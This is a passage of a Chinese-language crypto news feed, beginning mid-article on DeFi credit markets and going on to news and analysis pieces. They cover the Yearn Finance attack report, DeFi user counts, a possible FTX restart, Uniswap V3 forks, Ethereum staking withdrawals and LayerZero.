信贷借款人是贸易公司等金融机构，因此缺乏持续时间不太令人担忧，因为这些借款人通常满足于短期融资。这样一来，当市场机会不适合大举借贷时，他们就可以享受缩减资产负债表的灵活性。然而，对于信贷投资者而言，一些人越来越乐于承担智能合约风险并寻求更长期的固定利率收益。这些投资者的需求可能会通过差异化的、长期的产品得到更好的满足。 如上所述，大多数 DeFi 信贷借款人在同一部门运营，这使贷方面临其贷款组合之间更高的相关性，也称为更高的联合违约概率。Goldfinch 引入非金融借款人的模式有助于通过多元化的链上借贷弥合这一差距。 随着 Credora 等链上信用评级提供商的出现，目前缺乏标准化的 DeFi 信用评级框架的问题可能很快就会得到解决。投资者目前没有简单的方法来评估借款人的信誉：他们要么必须建立双边关系并收集财务报表，要么依赖评级提供商。 在涉及 DeFi 信用时，有许多不明确的法律含义。首先，DeFi 信贷发起并不一定像 TradFi 信贷债券发行那样提供招股说明书。缺少招股说明书和法律文件可能会导致包括但不限于非法招揽和不明确的债务优先权在内的问题。贷方如何确定他们的贷款是否与借款人的其他链下无担保负债同等？在违约时，即使 DeFi 信用池按时支付，链下债权人是否有权加速 DeFi 义务？借贷给借款人的链上证明在法庭上是否具有法律约束力？在 DeFi 信贷市场获得更大程度的采用之前，必须解决所有这些微妙的程序必要性。 尽管目前大多数 DeFi 信用池没有明确的资金锁定期，但贷方绝不能将其投资本金视为流动性。可提取金额由利用率决定，这意味着如果大部分可用池资金被借入，贷方需要等待偿还或新资金流入才能取出资金。 尽管一些协议通过允许贷方在公开市场上出售其代币化贷款代币来提供“流动性退出”，但如果贷方大量撤出资金池，出于显而易见的原因，贷方仍将陷入困境。通过区分定期贷款和循环信贷安排可能会更好地解决这个问题，这样贷方就可以确定他们的资金被锁定了多长时间，并可以着手进行相应的计划。 增加 DeFi 信贷借款流动性的另一种方法是将做市商引入代币化贷款——类似于 TradFi 做市商使用本金资产负债表提供二级流动性的方式。这条路线的明显障碍是缺乏信用工具（信用违约互换、做空代币化贷款等），这降低了做市商对冲风险的能力，从而降低了市场深度。 在本节中，我们概述了我们预见 DeFi 信用空间最终将走向某一天的几个方向，使通用 DeFi 信用成为现实。 在 TradFi 中，零售业大量使用信贷来为购买汽车或抵押贷款等大件商品以及支付大学教育费用等更普遍的用例提供资金。DeFi 中零售信贷的可用性将是一个主要的价值主张。 Gearbox Protocol是尝试解决零售 DeFi 信贷市场的一个例子。它通过使用信用账户提供零售信贷，信用账户是具有设置参数的隔离智能合约，仅允许访问白名单代币和协议，以使用信用贷款实施收益或交易策略。这种模式允许在不需要 KYC 的情况下创造信用，因为借入的资金不由用户直接持有，这消除了他们违约和借入资金跑路的风险。 目前，零售 DeFi 信贷仍仅限于金融用例，而由于难以确定链上身份，消费者用例仍然非常有限。我们认为，解决“违约动机”问题的一种可能方法是使用灵魂绑定代币 (SBT)。这些不可替代和不可转让的代币将确保如果用户违约，他将无法获得未来的贷款，因为他的信用记录将与他的链上身份相关联。随着技术堆栈的不断发展，我们预见 SBT 将在确保零售消费信贷合规成为现实方面发挥核心作用。 当前的信用协议要求所有借款人和某些贷款人接受 KYC / AML 程序，这些程序目前仍然是集中的并且没有行业范围的标准。 zkKYC 将允许用户证明自己的身份，而无需完全披露所有个人数据，同时仍遵守所有必要的 KYC 义务。这也有助于提供跨不同信用协议的标准化 KYC 程序，可能会增加跨不同协议的去中心化身份识别的可组合性，同时保护用户隐私。 尽管前面有许多障碍，但 DeFi 信贷市场已经展示了其增长势头和培育创新的能力。作为 TradFi 中交易最频繁的风险溢价之一，信用风险可能成为“实际收益率”叙述中的下一个重量级人物。 对 DeFi 信用最有趣的观察也许是这个市场的增长直接反对“DeFi”的去中心化。贷款人和借款人都自愿接受 KYC 和白名单以参与这些协议，将匿名放在较低的优先级。这种经过许可的链上市场可能是一个持久的趋势，这将导致链上融资和投资活动的制度化程度提高，因为监管机构更深入地研究了他们以前无法触及的交易和回报。这种发展的长期影响很难衡量，因为 DeFi 最初对隐私和分布式治理受到侵蚀的担忧可能会通过允许无许可和算法信用评估的未来创新得到解决。 抛开一切不谈，我们 Treehouse 对成为 DeFi 信贷市场增长的一部分感到乐观和兴奋，因为我们的工程师正在努力整合信贷风险管理工具。我们认为，DeFi 信贷领域的下一个明星项目可能会涉及工具和市场，这些工具和市场可以更有效地进行信贷交易，并在更多元化的借款人实体上进行交易，或者采用具有各种期限结构的索引包。  ( 7 min )
    安全公司：Yearn Finance项目疑似遭受攻击，黑客获利超1000万美元
    PANews 4月13日消息，据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台监测显示，Yearn Finance项目疑似遭受到闪电贷攻击，黑客获利超1000万美元，目前资金全部存在黑客地址。 Beosin Trace将持续对资金流向进行监控。  ( 1 min )
    DeFi两年前开启了范式革命，而如今用户数量有多少？
    本文由“Web3地图”编译自 @DefiIgnas 推文，文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 在 Web3 时代，流量依然是至关重要的竞争要素。无论是公链平台还是 Dapp，用户数量都成为了衡量成功的关键指标。本文将深入探讨 DeFi 用户数量这一难以捉摸的问题，通过分析多个数据来源和仪表板，揭示实际用户数的复杂性，以及 DeFi 行业在未来发展中所具有的巨大潜力。让我们一起揭开 DeFi 用户数量这一迷雾，期待其在 Web3 时代的璀璨未来。 DeFi 用户的数量到底是多少？ 一个简单的问题，却有一个令人惊讶且难以回答的答案。 我做了一些调查，结果是……并没有那么多：? 这个由 rchen8 制作的 Dune 仪表板经常在 Twitter 上被引用。 假设 rchen8 统计的数据准确无误，截至目前，累计 DeFi 用户数量为 720 万。 DeFi 上个月有 59.2 万用户。 2021 年 5 月份有 108 万用户，是有记录以来的最高月份。 但这两个仪表板仅考虑了 DEX 交易数据。 1Inch 联合创始人 @k06a 制作了一个按协议计算 DeFi 用户的仪表板。 根据这个仪表板，累计用户最多的前 5 个 dApps 是： 上述所有仪表板仅包括了以太坊上的用户。 然而，根据DefiLlama活跃日用户数量排名，前五的 DeFi 链是： 这些数据包括了代币转账，所以实际的 DeFi 用户数量显然要低得多。 Token Terminal 提供了关于 DeFi 用户的最有见地的数据。 在这里，我们可以按行业筛选交易。我选择了与 DeFi 相关的服务：跨链桥、衍生品、DEX、借贷、流动性质押、保险、资产管理和发行平台。 按照 Token Terminal 的数据，PancakeSwap 拥有最高的每日活跃用户数 - 9 万！ 注意：12 个上榜的 dApps 中有 5 个不是基于以太坊的协议。 因此，第二条推文中提到的总共 720 万 DeFi 用户并不准确，因为没有包括非以太坊 dApps。 根据 Token Terminal，DeFi 的日活用户数为 26 万。 按照 30 天平均值调整后为 38.8 万。 这个数字实际上低于 rchen8 的 Dune 仪表板上显示的 59.2 万 MAU（那里仅包括以太坊上的 DEX 交易者）。 正如您所看到的，计算相当棘手? 1 个地址 = 1 个用户？ 但还有一个重要的计算因子：上边的统计数据中，我们假设 1 个地址 = 1 个用户。 但事实并非如此，我打赌你有多个活跃的地址。 就我个人而言，仅在过去一年里，我就使用了超过 100 个以太坊地址。 所以，实际的 DeFi 用户数量要低于大多数统计数据。 顺便说一下，Token Terminal 的方法论遵循了与 Coinbase 的 MTUs 类似的推理： MTUs 代表我们的交易用户基础，他们在我们的平台上驱动潜在的产生收入的交易。MTUs 参与产生交易、订阅和服务收入的交易。 作为对比，Metamask 报告每月有 2100 万活跃用户（MAU）。 因此，即使有 50 万 DAU，DeFi 也相对较小。 为了吸引更多用户，我们需要在 DeFi 领域进行更多创新——超越投机之外的创新。我相信，随着用户体验的改善，DeFi 还有很大的发展空间！ 最后，请考虑一下，ChatGPT 在短短五天内用户数量就突破了 100 万。目前，他们估计拥有 1 亿活跃用户。 无论实际的 DeFi 用户数量是多少，我们都还处在早期阶段。  ( 4 min )
    谭群钊：下一代区块链MMORPG MetaCene Alpha测试将在本季度内进行
    在2023年香港Web3嘉年华上，盛大网络联合创始人、Pangu Software创始人谭群钊发表演讲。谭群钊表示：一个以玩家为中心的新游戏时代正在到来，这种以玩家为中心的模式将涉及带有数字资产的Web3游戏和玩家驱动的MMORPG作为主流类型，以及AI生成的内容（AIGC），涉及玩家驱动的创造力并导致独立项目的增长。虚拟世界的动态变化已经将游戏确立为进入元空间的最主要手段。 谭群钊目前正全力参与制作下一代区块链MMORPG MetaCene，这个游戏呈现了一个超现实的末世社会，幸存者与各种NFT互动，重新定义文明。MetaCene通过创新的PVE和PVP游戏玩法、强大的技术基础设施、公会DAO治理、可持续经济系统和游戏内编辑，以玩家为中心进行娱乐、治理和创造。 根据MetaCene的官方消息，该游戏的Alpha测试将在本季度内进行。  ( 1 min )
    收回73亿美元，FTT涨幅超90%，FTX重启有望了？
    原文：《FTX重启，并不是心血来潮？》 作者：Azuma 4 月 12 日凌晨，关于已破产交易所 FTX 的故事出现了戏剧化的反转。 周三，来自 FTX 代理律师事务所 Sullivan Cromwell 的律师 Andy Dietderich 在特拉华州的法庭听证会上表示，FTX 已收回了 73 亿美元的资产，包含 20 亿美元现金， 43 亿美元 A 类加密货币， 3 亿美元的证券， 6 亿美元应收投资等。 此外，FTX 正考虑在未来某个时候重新开启交易所业务。一个可能的选项是，FTX 的债权人将其债权转换为重新开放的交易所的股份。 受此消息刺激，FTT 强势走高，最高一度突破 3 USDT，现虽已回落至 2.5 USDT 附近，但涨幅仍超过 90% 。 虽然事发突然，但这其实并非 FTX 相关人士首次考虑重启事宜，只是第一次在法庭上提出了该潜在选项。 根据《华尔街日报》报道，早在今年一月，FTX 新任首席执行官 John J. Ray III 在其首次公开采访中，就表示对重启交易所业务持开放态度。John J. Ray III 当时提到，自己已经成立了一个特别工作组，探讨如何重启 FTX，尽管该交易所此前的管理团队被指控犯有刑事不当行为，但一些客户仍然对 FTX 的技术非常赞赏，因此其倾向于并认为重启交易所是有价值的。 此后，代表 FTX 无担保债权人官方委员会（FTX’s Official Committee of Unsecured Creditors）的律师事务所也举行过多次以「重启交易所」为主题的讨论会议，部分债权人对重启交易所业务持相当积极的态度。 根据 The Block 的报道，在 FTX 内困有七位数资产的债权人 Sunil Kavuri 曾表示：“如果经营得当，底层业务就可以赚钱。所以对我来说，解散一家盈利企业在经济上毫无意义，重启则将产生收益，进而补偿用户。” 另一位匿名债权人 @AFTXcreditor 也认为：“FTX 是一家高利润的交易所，它只是被一个完全无利可图的对冲基金（指 Alameda）抢走了。对我来说，为这个盈利的业务再融资以恢复活动并产生利润和股权价值是完全有意义的，这些利润和股权价值可以更好地补偿债权人。”  最为关键的是，一些积极跟踪 FTX 破产清算动向的债权人在分析了 FTX 提交给法庭的财务细节后发现，该交易所也曾与律师团队讨论过一些关于重启的话题。具体讨论过的内容包括： 重启交易所的安全分析； 这里补充一个小插曲，之所以能在财务细节中看到这些讨论，是因为 FTX 与律师团队的这些讨论需要按时长付咨询费，而Sullivan Cromwel 二月份从 FTX 处获得的费用收入高达1350 万美元。 虽然在许多相关人士看来，重启 FTX 或许确实有机会帮债权人追回更高的赔偿，但就目前的情况来看，这暂时也仅仅是一个假想而已。 首先需要强调的一点是，之所以在现阶段提出关于重启的讨论，其客观条件是随着 FTX “追回”了更多资产，其财务状况有所好转。然而，所谓“追回”其实主要源于加密货币市场的整体上扬（大部分资产属于 A 类加密资产），因此73 亿美元的数值仍然具有较大的波动可能性，换而言之其财务状况也存在着不稳定性。 其次，目前Dietderich 也只是提出了该建议，关于是否应该、怎么落实该方案仍然有许多问题悬而未决。其中最关键的一项问题就是 —— 重启交易所业务势必需要巨额资金，这些资金究竟是该直接利用 FTX 现有资产还是该通过第三方资本融资筹集？这也是目前 FTX 内部就“重启”一事最大的争论点所在。 正如 Dietderich 本人所说，重启 FTX 只是未来的可能性之一，当前的任何选择都远非最终结局。  ( 3 min )
    香港特首李家超：将投入超7亿港元加快发展数码经济
    PANews 4月13日消息，据澎湃新闻报道，在2023数字经济峰会上，香港特区政府行政长官李家超表示，今年财政预算案中将拨款逾7亿港元加快数码经济发展，并拨款超过900万港元推出一系列国际举措和措施。他强调，将推动香港虚拟资产产业发展，Web3.0为代表的第三代互联网具有极大发展潜力。  ( 1 min )
    Uniswap V3 License到期后，UniV3-Fi生态将迎来怎样的发展格局？
    撰文：JamesX Uniswap V3 license 过期后，V3 Forks 以及其它集中流动性 DEX 的发展，将会拓宽整个 V3-Fi 赛道的容量，因此原有的基于 UniV3 的 DeFi 协议，将会在短时间内迎来更多的场景拓展。 我为大家整理了 30 个生态项目的基本信息以及重点项目的详细介绍。 在 Uni V3 license 过期前，这些协议不得不去围绕 Uni V3 来构建产品，因此其体量也被 Uniswap 生态与用户所限制。最大的局限性体现在几个方面： 其它公链与 Layer2 生态推进缓慢，并且在 UniV3 部署的其它生态中，V3 并没有占据 DEX 龙头地位，因此也限制了 V3-Fi 项目在其它生态的扩展。 2，Uniswap 生态较为封闭，并没有一个非常 Robust 的社区氛围 Uniswap Labs 团队在运营社区的能力上也是为人诟病的一点。（比较好佐证这一观点的一点：Uniswap 官网列举的生态项目只涵盖了上图中的不足一半。说明 Uniswap Labs 官方并没有十分完善的运营自己的 DeFi 乐高生态） uniswap.org/ecosystem... 这个 Thread 将会详细介绍一部分值得重点关注（下图中标红）的 V3-Fi 协议 ( 基本数据和生态位 ) 以及各自的发展展望。 重点关注项目： V3 LP NFT 抵押借贷协议： @ParaSpace_NFT V3 LP 1, @GammaStrategies 2, @Timeless_Fi (Bunni) 3, @mellowprotocol 4, @unipilot_io 5, @steakhut_fi @ParaSpace_NFT -- NFTFi 龙头协议 了解 NFTFi 赛道的朋友肯定对 ParaSpace 并不陌生，上线三个月，目前平台总 TVL 为 $187M。 其核心产品逻辑为 NFT 的抵押借贷协议，而 UniV3 的 LP NFT 本质为双币组成的一个 NFT 资产票据，天然适应 ParaSpace 的抵押借贷机制，因此 ParaSpace 也推出了 UniV3 LP NFT 的抵押借贷。 ParaSpace 是目前唯一支持抵押 UniV3 LP NFT 并借出其它 ERC-20 资产的平台，目前抵押的 UniV3 LP NFT + 借出的资产总价值约为 4M。 ParaSpace 在 UniV3-Fi 下一步可能有两个发展方向： 1，多链部署，同时支持其它的 V3 Forks DEX，如 PancakeSwap，Sushiswap 和 QuickSwap 等。 2，为 UniV3 LP 服务，提供一键加杠杆提供流动性（Leveraged Liquidity Provision）产品。 抵押借贷是 DeFi 行业的核心业务逻辑。目前 V3 类型的 DEX 的总 TVL 约为 $3B, 如果假设 5-10% 的 V3-LP 利用抵押借贷提高资本利用效率，可以预见 ParaSpace 的这类业务在短期内仍有 30-70 倍的增长空间。 1, @GammaStrategies-- 目前龙头的集中流动性 DEX LP 动态管理协议 Gamma 是老牌的 Uniswap V3 LP 动态资管协议，其可以帮助用户主动的去调整提供流动性的价值区间，以捕获最大化的手续费收益，并省去用户手动监控调整的麻烦。但是在 2023 年 1 月前不温不火，TVL $3M 左右。 但是通过与 @CryptoAlgebra 的合作，成功接入了 @QuickswapDEX 和 @zyberswap，并成为其官方合作的 LP 动态管理协议。因此我们可以看到，尽管 ETH 主网上的 TVL 并没有多大的变化，但是通过其它 Layer2 生态的部署以及各自生态头部 DEX 的合作，帮助其 TVL 增长了约 20 倍。 @GammaStrategies 的快速增长也代表了 V3-Fi 赛道未来的一个大的趋势：不只依靠 Uniswap V3 本身，而且基于其它新兴集中流动性 DEX 带来协议增长。 并且伴随着 V3 Forks DEX 的增加，头部的 V3 LP 动态管理协议，反而会占据更大的合作议价优势，并带来新一轮的指数级增长。 @Timeless_Fi (Bunni)-- 创新性的流动性挖矿平台 Bunni 通过将 Uniswap V3 的 LP NFT 打包成传统的 ERC-20 LP Token 进行流动性挖矿，并且通过自身的 veTokenomics 和 $LIT Token 补贴，来提供给 UniV3 LP 额外的流动性挖矿收益。 其竞争优势主要在底层机制的创新和优化： 1，通过生成的 ERC-20 LP Token ，其它的 DeFi 协议可以更容易的搭建衍生平台。 2，通过独特设计的 veTokenomics（锁定 Balancer 80LIT-20WETH LP Token 获得 veLIT）和 Token 激励，可以获得一个更长期稳定的增长曲线。 因此也可以看到最近产品有着不错的增长趋势。 @mellowprotocol --Uniswap V3 LP 动态管理 + 流动性挖矿协议 协议主要的 TVL 来自于两个由 Lido 官方支持的 Uniswap V3 LP 动态管理策略。 Mellow 会帮助用户同态调整 wstETH/WETH 和 wstETH/USDC 交易对的价格区间以捕获更多的交易手续费，同时还可以获得 Lido 提供的 $LDO 流动性挖矿激励。 相比于其它的 V3 Fi 协议，Mellow 也提供了更多种类的链上资管投资组合，但是整体体量较小，这里不再赘述。 因此 Mellow 未来最大的发展空间为：借助和 Lido 官方合作的背书，争取更多项目的在 V3 DEX 上的流动性维护业务，同时多链部署并拓展集成其它的流动性 DEX。 @unipilot_io 与 Gamma 类似的 Uni V3 LP 动态管理协议，但是已经宣布将会集成 @QuickswapDEX , 因此将与 Gamma 直接竞争 LP 动态管理份额，本身的 TVL 也在短期内有可预见的大幅增长（类比 Gamma 过去 TVL 的变化）。 @steakhut_fi -- 基于 @traderjoe_xyz 的 LP 动态管理 + 流动性挖矿平台 其增长逻辑主要来源于 TraderJoe V2 采用 DLAMM (Liquidity Book) 机制以及在 Avalanche 和 Arbitrum 生态的份额增长。 因此对于 V3-Fi 赛道的项目来说，选择重点支持的有爆发潜力的底层 DEX 也是至关重要的一点。 以上就是为大家整理的 30 个 UniV3 Fi 赛道项目的简要信息以及重点项目介绍。 回过头来看过去几年 DeFi 赛道的发展，以及 Curve 生态的蓬勃壮大，UniV3 Fi 其实是目前最被局限住的一个 DeFi 赛道，我个人是期望在这次 V3 License 到期后，由于更开放的底层 DEX 生态，会迎来一个合理的爆发增长。 LP NFT 的抵押借贷以及各种策略的 LP 动态管理和流动性挖矿平台也会诞生自己的龙头项目。（其它更细分的赛道之后有机会会更详细的介绍） 更早的战略布局、底层机制和 Token 经济模型的创新以及更强的生态资源支持都能支持一个平台更快速的发展。 这也是我在审视一个协议是否拥有爆发潜力的核心因素。 关于上面提到的底层 DEX 的竞争格局我会在下一篇研报更深入的阐述 欢迎大家保持关注，我会在近期发布《UniV3-Fi 的现状、困局与展望》系列研报的后两部分： 1，DEX 竞争格局巨变，谁将成为下一代龙头 DEX？ 2，$UNI 已死？--Uniswap Labs & $UNI 的困局与启示  ( 6 min )
    zkSync生态项目SyncDex Finance疑似Rug Pull，项目官方社区已关闭
    PANews 4月13日消息，zkSync生态项目SyncDex Finance疑似Rug Pull，目前其官方社交平台和Discord频道均已关闭。 据相关页面信息，用户在该项目总计质押超100枚ETH和98,444.8USDC。据社区反馈，该质押池目前已锁定，用户已无法提取资金。  ( 1 min )
    数据：当前以太坊质押均价为2134美元，正提款的实体中Huobi暂列第一
    PANews 4月13日消息，Nansen数据显示，当前以太坊质押总量为18,168,583枚，以太坊流通供应量为120,437,016枚，总质押率为15.09%。以太坊质押的平均价格为 2134美元。以太坊正在提款的实体中Huobi以28.53%占比（39,776 枚）暂列第一，资产配置治理组织PieDAO和加密交易平台Kraken分列第三和第五。 此外，Token Unlock数据显示，自以太坊完成上海升级后，净提款数量（解除质押）已达到3.3万枚ETH，存入质押的新存款为1920枚ETH。当前有40.78万枚ETH处于待提款状态，价值约合5.65亿美元；网络共计26万名验证者，其中有3450个验证者全额提款，其余为部分提款。  ( 1 min )
    Avalanche为Evergreen子网推出Spruce测试网，参与机构包括WisdomTree等
    PANews 4月13日消息，据官方博客，Avalanche宣布启动Avalanche Evergreen子网的测试网Spruce，该测试网的初始机构合作伙伴包括T. Rowe Price Associates、WisdomTree、Wellington Management和Cumberland，参与机构将使用Spruce作为各种应用程序和资产的测试网，以衡量链上交易执行和结算的好处。 Spruce测试网旨在使交易双方机构能够以低风险、低进入门槛的方式参与公共区块链基础设施。使用无价值的代币可以让机构参与者体验Avalanche子网架构的全部功能，而不会将资金置于风险之中。 此前4月6日消息，Avalanche推出“Evergreen”子网以连接区块链上的机构。  ( 1 min )
    盘点5个具有巨大潜力的早期项目
    作者：0xsurferboy 编辑：Biteye 核心贡献者 Crush 大多数初创项目早期都是默默无闻地进行开发，但这些项目中往往潜藏着 alpha 以及巨大的增长潜力。以下是我发现的 5 大具有巨大潜力的早期项目。 Linea 是由 ConsenSys 开发的 L2 解决方案，旨在提高以太坊的可扩展性和效率。作为 zkEVM，Linea 利用具有 EVM 等效性的零知识证明，使开发人员能够轻松构建可扩展的 dapp 或迁移现有的 dapp。 Linea 可以与 MetaMask 、Truffle 等流行的 Web3 工具的原生集成，提供无缝的开发者体验。测试网现在已对开发人员、用户和协议开放，仅几周内就已处理了 150 万笔交易。 Linea 的目标是实现 Web3 的大规模访问和使用，因此 Linea 的核心功能围绕着将开发者置于中心地位而展开，开发者不需要成为 zkEVM 的专家，也可在 zkEVM 上构建产品。 Linea 的潜力在于 zkEVM，任何来自以太坊的智能合约或开发人员工具都可以在 EVM 等效网络上使用。这个领域的其他领先者还包括 Polygon、Scroll 和 zkSync。 当然，如果你喜欢空投，那么可以参考这篇文章的介绍。 Native 是一个工具包，允许任何项目轻松地将 DEX 集成到其界面中。它使项目能够捕获交易费用、提供更好的用户体验（减少磨损）、更好的资本效率、灵活的流动性池定价模型。 Native 的目标是简化用户体验从： 变成： 基本上是在项目的界面上直接进行交易，而不是被重定向到第三方交易所进行操作。 他们使用独特的「灵活做市」策略，同时使用链上（例如 AMMs）和链下定价（例如专业 MMs、RFQ 模型）来提供报价，这类似于 0x 的聚合器模型。 它的潜力在哪里？我认为在于叙事的采用！ KOL Ignas 提出了关于用户体验糟糕的有效观点，对于加密原生用户而言，连接到1inch/uni进行交易，然后转移到 dApp 上进行质押、Farm，或者其他操作是有意义的。但对于大众来说，情况就不同了。 如果向那些没有体验过加密货币的朋友发起挑战，让他们质押 GMX。 结果会收到的问题是： 由此可见，直接内置 DEX 的 APP 在这个领域内有巨大的潜力。 Conduit 是一个 rollup-as-a-service 项目，可以通过提供基于 OP 构建的生产级 rollup 来快速扩展团队的 dapp。它旨在为寻求自己的专用 rollup 的项目提供更易于访问和更具成本效益的解决方案。 Conduit rollups 包括必要的组件，如： 这些允许团队运行与 OP Mainnet 相同的技术，并确保 ETH 级别的安全性。 除了来自 Paradigm 的 700 万美元种子轮融资外，Conduit 最近还宣布与 OP 基金会合作，以支持超级链愿景并使其可用于更广泛的项目。 Conduit 的潜力在于 Rollup-as-a-Service 模型。RaaS 有可能成为 Web3 的 AWS，很快，部署新的应用程序特定 rollup 就像部署网站一样简单。 Econia 是一个基于 Aptos 构建的创新性链上订单簿平台，旨在成为 DeFi 的强大经济引擎。Econia 旨在通过解决 DEX（如 Serum）面临的性能瓶颈来扩展链上交易。 Econia 的关键技术之一是其超并行化的链上订单簿技术。在并行事务系统中，不同的事务可以同时执行，无需等待前一个事务完成，而在串行系统则按顺序进行。 Econia 先进、超并行化的链上订单簿技术实现了高性能交易执行，其作为平台的基础，使资产交易高效而可扩展。 Econia 还具有托管功能，允许用户向第三方托管人委托其部分交易活动。这允许杠杆交易、跨链解决方案和衍生品交易场所，显著扩展了平台的功能。 Econia 的潜力在于其强大、高效和可组合的基础设施，可以为 Aptos 构建和部署各种交易应用程序和用户界面。 Econia 最近获得了由 Dragonfly Capital 领投的 650 万美元种子轮融资，其他支持者包括 Lightpseed、Wintermute 和 Aptos Labs。 Yama Finance 是一个全链稳定币项目，旨在最大程度地发挥 CDP 的效率和能力。该协议最初部署在 Arb 上，并将在 Fuel 和 Eclipse 上进行部署。 Yama 的主要功能是 PSM（Peg Stabilization Module），为稳定币引入了几个独特的功能。 PSM 智能合约使任何人都可以无滑点或费用将 Yama 与 USDT 1:1 交换。 存入 USDC 到 PSM 的用户会收到借款人的利息，这增强了买方流动性并支持杠杆。用户可以通过质押借走 Yama，并且随时提现。 Yama Finance 不久前推出，已吸引了 160 万美元的 TVL。 他们还引进了 GLP 抵押物，更多详细内容，请阅读官方的推文介绍  ( 4 min )
    ConsenSys已开放以太坊上海升级纪念NFT公开版本铸造，铸造窗口将开放72小时
    PANews 4月13日消息，ConsenSys现已开放以太坊上海升级纪念NFT系列“Ethereum，Evolved：Shanghai”公开版本铸造，铸造窗口将开放72小时。任何用户均可使用MetaMask钱包免费领取NFT，但需支付gas费。 据悉，该系列将包含纪念版和公开版两个版本，其中纪念版将在4月13日空投给以太坊核心开发者。  ( 1 min )
    LayerZero靠什么估值30亿美元？一文浅析其独特技术原理
    撰写：Salazar 编译：深潮 TechFlow 最近，Layer Zero 完成了第二轮融资，融资规模为 1.2 亿美元，估值达到 30 亿美元。 随着 DeFi 项目的兴起，跨链互操作性已经成为区块链领域的热门话题。而在众多的跨链平台中，Layer Zero 凭借其独特的技术和设计备受关注。本文将介绍 Layer Zero 的技术和特点，以及它是如何实现区块链之间的通信和跨链交易的。 我们来假设一个场景： 例如在下图中，一位“Degen Trader”（投机者）发现了一个需要使用 ETH 的挖矿机会，但是这个机会在 AVAX 上。 然而，他无法直接将自己的 ETH 转移到 AVAX 上，需要使用跨链桥来实现。 在将 ETH 发送到跨链桥后，跨链桥确认资金已经被锁定。然后，它会解锁这部分锁定的资金并将代币发送到 AVAX。但是，交易员收到了一个 AVAX 版本的 ETH，而不是原生的 ETH，并需要执行一些浪费 Gas 的交易。 这里的重点是，交易员是通过跨链桥来接触他在 AVAX 上的 ETH。过去的经验表明，对跨链桥的黑客攻击是毁灭性的，因此保持谨慎非常重要。 以下是一些跨链桥被黑客攻击的案例： Layer Zero 介入的方式 / 基础知识 我在这里解释的内容是基础层面的，以便即使是初学者也能够理解。 从下面的图片中，我们可以看到两个链上都有一个由 LayerZero 团队管理的 LayerZero 端点（End Point）。当用户向以太坊上的 AAVE 发送交易时，该交易首先被发送到 LayerZero 在以太坊上的端点。 然后，该端点向 LayerZero（预言机和中继器）确认，用户在 ETH 链上的确拥有代币，并想将它们发送到 AVAX。 LayerZero 与 AVAX 上的端点进行通信，并处理这笔交易（从而产生原生的 ETH， 而不是其他链上版本的代币）。 这使得链之间可以互操作，使开发人员能够在特定链上构建 DEX 或其他 DeFi 应用程序。使用 LayerZero，用户可以留在原有链上，并使用任何收益聚合器或 DEX 从其他目标链上进行流动性挖矿。 在以上步骤中，预言机（Chainlink）会更新并提供准确的价格源，而中继器则确保在更新每个端点之前，历史信息是正确的。 在互联网上你会看到这样的句式描述：“LayerZero 是一个无需信任的全链互操作平台，使用户能够……”其实没有必要这么复杂，简单来说——LayerZero是一个通用消息平台，事实上是通用消息中心。 LayerZero 技术的基础是两个独立的实体——预言机和中继器，它们共同工作以实现跨链交易的有效传递。 LayerZero 的一个关键特性是其超轻量级的节点。采用轻量级设计，使得它能够在昂贵的 L1 上运行（比如以太坊），而不会产生过高的成本。实现这种效果的方式是通过使用轻客户端，也使得 LayerZero 能够高效地处理交易并验证跨链交互。 LayerZero 的另一个重要特性是支持在链之间进行原生交易。 通过创新的端点设计，LayerZero 可以很轻松的进行扩展以支持任何链。端点是 LayerZero 中的一个模块，在每个参与的区块链上都会运行，并通过与中继器之间的信息传输，来进行不同链之间的通信。你可以把它理解成 LayerZero 和其所运行的特定区块链之间的接口。 总的来说，LayerZero 与 Polkadot、Cosmos 等链的区别在哪里？ 没错，是它的超轻节点。有了这个，加上它的中继器、预言机（Chainlink）和端点，使 Web3 中的通用消息在不同链之间传递成为了可能。  ( 2 min )
    Immutable推出5亿美元生态发展基金Immutable Ventures
    PANews 4月13日消息，据官方博客，以太坊Layer 2解决方案ImmutableX开发公司Immutable宣布推出5亿美元发展基金Immutable Ventures，致力于支持基于Immutable X的Web3游戏和NFT项目，该基金将通过向在ImmutableX平台上构建的游戏和项目分配代币、现金赠款和投资来加速Immutable X协议的发展。 此外，Immutable Ventures已经对Web3公司和NFT初创公司进行了几项战略投资，包括Starkware、Stardust、PlanetQuest和Topology。  ( 1 min )
    Coinbase已启用ETH解除质押功能
    PANews 4月13日消息，据官方推特，Coinbase宣布已启用ETH解除质押功能。 今日早些时候消息，以太坊上海升级已完成。  ( 1 min )
    以太坊升级后净提款已超1万枚ETH，当前31.3万枚ETH状态为待提款
    PANews 4月13日消息，Token Unlock数据显示，自以太坊完成上海升级后，净提款数量（解除质押）已达到1.03万枚ETH，暂无新存款存入质押。 此外，当前有31.3万枚ETH处于待提款状态，价值约合5.63亿美元；网络共计24.9万名验证者，其中有625个验证者全额提款，其余为部分提款。  ( 1 min )
    深入探讨链上数据：如何成为交易和投资策略的分析工具？
    原文作者：CoinGecko - Josiah Makori 原创编译：BlockTurbo 与其他资产类别不同，来自公共区块链的加密交易可以免费访问，使其适用于数据科学和机器学习。你可以轻松提取和分析区块链数据，也称为链上分析。通过这些丰富、开放的财务数据，你可以获得对市场趋势、情绪和其他投资者行为的宝贵见解。 不断观察和跟踪市场是潜在获利的不可或缺的策略。虽然基本面分析和技术分析可以洞察各种市场趋势，但从链上来源提取数据可以提供对区块链的鸟瞰图。然而，这并不意味着它们相互排斥。在分析加密货币的潜力时，你可以同时使用这三种方法。 在本文中，我们将深入探讨什么是链上分析以及如何利用它来丰富你的交易和投资策略。 在定义链上分析之前，让我们了解什么是链上以及它与链下的比较。顾名思义，链上是指在区块链上验证和记录的交易。在工作量证明 (PoW) 的情况下，验证和记录由矿工完成，而在权益证明 (PoS) 的情况下，验证和记录由验证者完成。任何地方的任何人都可以访问记录在公共区块链上的链上交易。 另一方面，链下与链上相反。它指的是通过Layer 2在区块链外部验证和记录的交易，通常拥有更低的成本和更快的交易速度。 基本面分析力求通过多个方面的因素来理解资产，例如其市值，交易量，效用，持有人数量以及背后团队的真实性等。这种分析对于确定资产是否被高估或低估是必要的。下面是针对比特币 (BTC) 的简单的基本面分析示例： BTC 的最大供应量为 2100 万枚，目前已流通 1930 万枚。这意味着只剩下 170 万个比特币可以流通，从而导致 BTC 的稀缺性。根据供求规律，资产越稀缺，其获得的价值就越大。这些信息是你可以用来做出明智投资决策的基本面分析的一部分。 